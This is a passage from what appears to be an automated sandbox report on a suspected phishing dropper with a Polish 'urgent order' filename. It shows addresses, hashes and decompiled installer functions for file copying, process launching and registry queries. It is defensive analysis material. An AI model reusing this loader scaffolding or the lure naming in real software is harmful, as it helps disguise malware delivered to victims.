                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000
                                                                                              0x00406bdf
                                                                                              0x00406a2c
                                                                                              0x004069b3
                                                                                              0x004069b0

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1b21a4910564614c6641403ac362d6aa440f40f6368f9ee5d1983abbc3d5a3b8
                                                                                              • Instruction ID: 94740bf10ed9628fc2a816943eb7322e71ed29eec5e37d1a6fe0f7c23d4f3e83
                                                                                              • Opcode Fuzzy Hash: 1b21a4910564614c6641403ac362d6aa440f40f6368f9ee5d1983abbc3d5a3b8
                                                                                              • Instruction Fuzzy Hash: 1D714571E04228CBDF28CF98C854BADBBB1FB44305F11806ED856BB281C7786A96DF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004021D2 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004021D2() {
				char _t32;
				CHAR* _t35;
				CHAR* _t37;
				void* _t39;

				_t37 = E00402A3A(_t32);
				_t35 = E00402A3A(0x11);
				 *((intOrPtr*)(_t39 + 8)) = E00402A3A(0x23);
				if(E00405FFD(_t37) != 0) {
					 *(_t39 - 0x64) =  *(_t39 - 8);
					 *((intOrPtr*)(_t39 - 0x60)) = 2;
					( &(_t37[1]))[lstrlenA(_t37)] = _t32;
					( &(_t35[1]))[lstrlenA(_t35)] = _t32;
					_t25 =  *((intOrPtr*)(_t39 + 8));
					 *(_t39 - 0x5c) = _t37;
					 *(_t39 - 0x58) = _t35;
					 *((intOrPtr*)(_t39 - 0x4a)) =  *((intOrPtr*)(_t39 + 8));
					 *((short*)(_t39 - 0x54)) =  *((intOrPtr*)(_t39 - 0x20));
					E00404F12(_t32, _t25);
					if(SHFileOperationA(_t39 - 0x64) != 0) {
						goto L1;
					}
				} else {
					L1:
					E00404F12(0xfffffff9, _t32); // executed
					 *((intOrPtr*)(_t39 - 4)) = 1;
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t39 - 4));
				return 0;
			}







                                                                                              0x004021da
                                                                                              0x004021e3
                                                                                              0x004021eb
                                                                                              0x004021f5
                                                                                              0x00402208
                                                                                              0x0040220b
                                                                                              0x00402218
                                                                                              0x00402221
                                                                                              0x00402225
                                                                                              0x0040222e
                                                                                              0x00402231
                                                                                              0x00402234
                                                                                              0x00402237
                                                                                              0x0040223b
                                                                                              0x0040224c
                                                                                              0x00000000
                                                                                              0x00402252
                                                                                              0x004021f7
                                                                                              0x004021f7
                                                                                              0x004021fa
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                                • Part of subcall function 00405FFD: FindFirstFileA.KERNELBASE(76283410,00421558,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,0040589C,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\), ref: 00406008
                                                                                                • Part of subcall function 00405FFD: FindClose.KERNELBASE(00000000), ref: 00406014
                                                                                              • lstrlenA.KERNEL32 ref: 00402212
                                                                                              • lstrlenA.KERNEL32(00000000), ref: 0040221C
                                                                                              • SHFileOperationA.SHELL32(?,?,?,00000000), ref: 00402244
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileFindlstrlen$CloseFirstOperation
                                                                                              • String ID:
                                                                                              • API String ID: 1486964399-0
                                                                                              • Opcode ID: 4b43ad2fd2ae0109c1b06b4ea4003848b846b00691f6cc86fd8f3cdf8ce68e64
                                                                                              • Instruction ID: 485cfeef1a85070ae400372cebe3f88e325275d82b46da5cee7092b21f42a8f6
                                                                                              • Opcode Fuzzy Hash: 4b43ad2fd2ae0109c1b06b4ea4003848b846b00691f6cc86fd8f3cdf8ce68e64
                                                                                              • Instruction Fuzzy Hash: 70117071904314ABCB10EFF98949A8EB7F8AF54318F20843BA101FB2D2D6BCC5019B29
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 82%
                                                                                              			E00401E44() {
				void* _t15;
				void* _t24;
				void* _t26;
				void* _t31;

				_t28 = E00402A3A(_t24);
				E00404F12(0xffffffeb, _t13); // executed
				_t15 = E0040548A(_t28); // executed
				 *(_t31 + 8) = _t15;
				if(_t15 == _t24) {
					 *((intOrPtr*)(_t31 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t31 - 0x20)) != _t24) {
						while(WaitForSingleObject( *(_t31 + 8), 0x64) == 0x102) {
							E004060CE(0xf);
						}
						GetExitCodeProcess( *(_t31 + 8), _t31 - 0xc);
						if( *((intOrPtr*)(_t31 - 0x24)) < _t24) {
							if( *(_t31 - 0xc) != _t24) {
								 *((intOrPtr*)(_t31 - 4)) = 1;
							}
						} else {
							E00405C57(_t26,  *(_t31 - 0xc));
						}
					}
					_push( *(_t31 + 8));
					CloseHandle();
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t31 - 4));
				return 0;
			}







                                                                                              0x00401e4a
                                                                                              0x00401e4f
                                                                                              0x00401e55
                                                                                              0x00401e5c
                                                                                              0x00401e5f
                                                                                              0x004026a6
                                                                                              0x00401e65
                                                                                              0x00401e68
                                                                                              0x00401e79
                                                                                              0x00401e74
                                                                                              0x00401e74
                                                                                              0x00401e8e
                                                                                              0x00401e97
                                                                                              0x00401ea7
                                                                                              0x00401ea9
                                                                                              0x00401ea9
                                                                                              0x00401e99
                                                                                              0x00401e9d
                                                                                              0x00401e9d
                                                                                              0x00401e97
                                                                                              0x00401eb0
                                                                                              0x00401eb3
                                                                                              0x00401eb3
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                                • Part of subcall function 00404F12: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4B
                                                                                                • Part of subcall function 00404F12: lstrlenA.KERNEL32(00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5B
                                                                                                • Part of subcall function 00404F12: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00402FCF,00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000), ref: 00404F6E
                                                                                                • Part of subcall function 00404F12: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll), ref: 00404F80
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FA6
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC0
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FCE
                                                                                                • Part of subcall function 0040548A: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421510,Error launching installer), ref: 004054B3
                                                                                                • Part of subcall function 0040548A: CloseHandle.KERNEL32(?), ref: 004054C0
                                                                                              • WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
                                                                                              • GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
                                                                                              • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EB3
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
                                                                                              • String ID:
                                                                                              • API String ID: 3521207402-0
                                                                                              • Opcode ID: 848446b87dd18d4c2bfcb69c8f9b0a7acaad5bd61242a7dc02bbb47a41f74e40
                                                                                              • Instruction ID: 49f7d359c4d218189077cc8fb8a526ed56d4096950e75cb47e310611910bd6fc
                                                                                              • Opcode Fuzzy Hash: 848446b87dd18d4c2bfcb69c8f9b0a7acaad5bd61242a7dc02bbb47a41f74e40
                                                                                              • Instruction Fuzzy Hash: C4016D31904104EBDF11AFA1C984A9E77B2EF00354F10817BFA01B52E1C7785A85AB9A
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405BE0 Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 90%
                                                                                              			E00405BE0(void* _a4, int _a8, char* _a12, int _a16, void* _a20) {
				long _t20;
				long _t23;
				long _t24;
				char* _t26;

				asm("sbb eax, eax");
				_t26 = _a16;
				 *_t26 = 0;
				_t20 = RegOpenKeyExA(_a4, _a8, 0,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				if(_t20 == 0) {
					_a8 = 0x400;
					_t23 = RegQueryValueExA(_a20, _a12, 0,  &_a16, _t26,  &_a8); // executed
					if(_t23 != 0 || _a16 != 1 && _a16 != 2) {
						 *_t26 = 0;
					}
					_t26[0x3ff] = 0;
					_t24 = RegCloseKey(_a20); // executed
					return _t24;
				}
				return _t20;
			}







                                                                                              0x00405bf0
                                                                                              0x00405bf2
                                                                                              0x00405bff
                                                                                              0x00405c09
                                                                                              0x00405c11
                                                                                              0x00405c16
                                                                                              0x00405c2a
                                                                                              0x00405c32
                                                                                              0x00405c40
                                                                                              0x00405c40
                                                                                              0x00405c45
                                                                                              0x00405c4b
                                                                                              0x00000000
                                                                                              0x00405c4b
                                                                                              0x00405c54

                                                                                              APIs
                                                                                              • RegOpenKeyExA.KERNELBASE(80000002,00405E25,00000000,00000002,?,00000002,?,?,00405E25,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C09
                                                                                              • RegQueryValueExA.KERNELBASE(?,?,00000000,00405E25,?,00405E25), ref: 00405C2A
                                                                                              • RegCloseKey.KERNELBASE(?), ref: 00405C4B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseOpenQueryValue
                                                                                              • String ID:
                                                                                              • API String ID: 3677997916-0
                                                                                              • Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
                                                                                              • Instruction ID: c16e3abce3e86e16c1a4588743a1117629dce573bc303fe916445e4d8ee7e6e7
                                                                                              • Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
                                                                                              • Instruction Fuzzy Hash: B3015A7254420AEFEB128F64EC49EEB3FACEF14354F044036F944A6220D235D964DFA5
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402482 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 86%
                                                                                              			E00402482(int* __ebx, char* __esi) {
				void* _t7;
				int _t8;
				long _t11;
				int* _t14;
				void* _t18;
				char* _t20;
				void* _t22;
				void* _t25;

				_t20 = __esi;
				_t14 = __ebx;
				_t7 = E00402B44(_t25, 0x20019); // executed
				_t18 = _t7;
				_t8 = E00402A1D(3);
				 *__esi = __ebx;
				if(_t18 == __ebx) {
					L7:
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					 *(_t22 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t22 - 0x18)) == __ebx) {
						_t11 = RegEnumValueA(_t18, _t8, __esi, _t22 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t11;
						if(_t11 != 0) {
							goto L7;
						} else {
							goto L4;
						}
					} else {
						RegEnumKeyA(_t18, _t8, __esi, 0x3ff);
						L4:
						_t20[0x3ff] = _t14;
						_push(_t18);
						RegCloseKey();
					}
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}











                                                                                              0x00402482
                                                                                              0x00402482
                                                                                              0x00402487
                                                                                              0x0040248e
                                                                                              0x00402490
                                                                                              0x00402497
                                                                                              0x00402499
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x0040249f
                                                                                              0x004024a7
                                                                                              0x004024aa
                                                                                              0x004024c3
                                                                                              0x004024c9
                                                                                              0x004024cb
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004024ac
                                                                                              0x004024b0
                                                                                              0x004024d1
                                                                                              0x004024d1
                                                                                              0x004024d7
                                                                                              0x004024d8
                                                                                              0x004024d8
                                                                                              0x004024aa
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                                • Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,00000A58,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                                                              • RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024B0
                                                                                              • RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024C3
                                                                                              • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Enum$CloseOpenValue
                                                                                              • String ID:
                                                                                              • API String ID: 167947723-0
                                                                                              • Opcode ID: 12eff8342a69f2536c30b71af717bb3f9058c2ccca94daf16b45cc2e21864202
                                                                                              • Instruction ID: 070e1f6e5a6b9be8feed57f98e06303e5303b2278279fcdfa1a0cb603d5e6ac6
                                                                                              • Opcode Fuzzy Hash: 12eff8342a69f2536c30b71af717bb3f9058c2ccca94daf16b45cc2e21864202
                                                                                              • Instruction Fuzzy Hash: D3F0A272904100BFEB119F659D88E7B7A6DEB40344B10443EF505A61C0D6B849459A7A
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 100027E8 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CreateFileA.KERNELBASE(00000000), ref: 100028A7
                                                                                              • GetLastError.KERNEL32 ref: 100029AE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateErrorFileLast
                                                                                              • String ID:
                                                                                              • API String ID: 1214770103-0
                                                                                              • Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                                                              • Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
                                                                                              • Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                                                              • Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 84%
                                                                                              			E00402410(int* __ebx, char* __esi) {
				void* _t17;
				char* _t18;
				void* _t33;
				void* _t37;
				void* _t40;

				_t35 = __esi;
				_t27 = __ebx;
				_t17 = E00402B44(_t40, 0x20019); // executed
				_t33 = _t17;
				_t18 = E00402A3A(0x33);
				 *__esi = __ebx;
				if(_t33 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x34) = 0x400;
					if(RegQueryValueExA(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x34) != 0) {
						L7:
						 *_t35 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x18) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x18) == __ebx;
							E00405C57(__esi,  *__esi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x18);
								_t35[0x3ff] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t33);
					RegCloseKey();
				}
				 *0x423788 =  *0x423788 +  *(_t37 - 4);
				return 0;
			}








                                                                                              0x00402410
                                                                                              0x00402410
                                                                                              0x00402415
                                                                                              0x0040241c
                                                                                              0x0040241e
                                                                                              0x00402425
                                                                                              0x00402427
                                                                                              0x004026a6
                                                                                              0x0040242d
                                                                                              0x00402430
                                                                                              0x0040244b
                                                                                              0x0040247b
                                                                                              0x0040247b
                                                                                              0x0040247d
                                                                                              0x0040244d
                                                                                              0x00402451
                                                                                              0x0040246a
                                                                                              0x00402471
                                                                                              0x00402474
                                                                                              0x00402453
                                                                                              0x00402456
                                                                                              0x00402461
                                                                                              0x004024d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402456
                                                                                              0x00402451
                                                                                              0x004024d7
                                                                                              0x004024d8
                                                                                              0x004024d8
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                                • Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,00000A58,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                                                              • RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402440
                                                                                              • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseOpenQueryValue
                                                                                              • String ID:
                                                                                              • API String ID: 3677997916-0
                                                                                              • Opcode ID: 43fdcb12208ecf4b22dbb00b887fd4ca96f50bb9be14fb34037b2d673bee9bdf
                                                                                              • Instruction ID: 5ce6926f2417f3d17e5e854e85a0bcf64bccf2bfa1e8e40673093317e398bbc6
                                                                                              • Opcode Fuzzy Hash: 43fdcb12208ecf4b22dbb00b887fd4ca96f50bb9be14fb34037b2d673bee9bdf
                                                                                              • Instruction Fuzzy Hash: A711A771905205EFDF14DF64C6889AEBBB4EF11349F20843FE541B62C0D2B84A85DB5A
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 59%
                                                                                              			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x423730;
					if( *_t6 == 1) {
						break;
					}
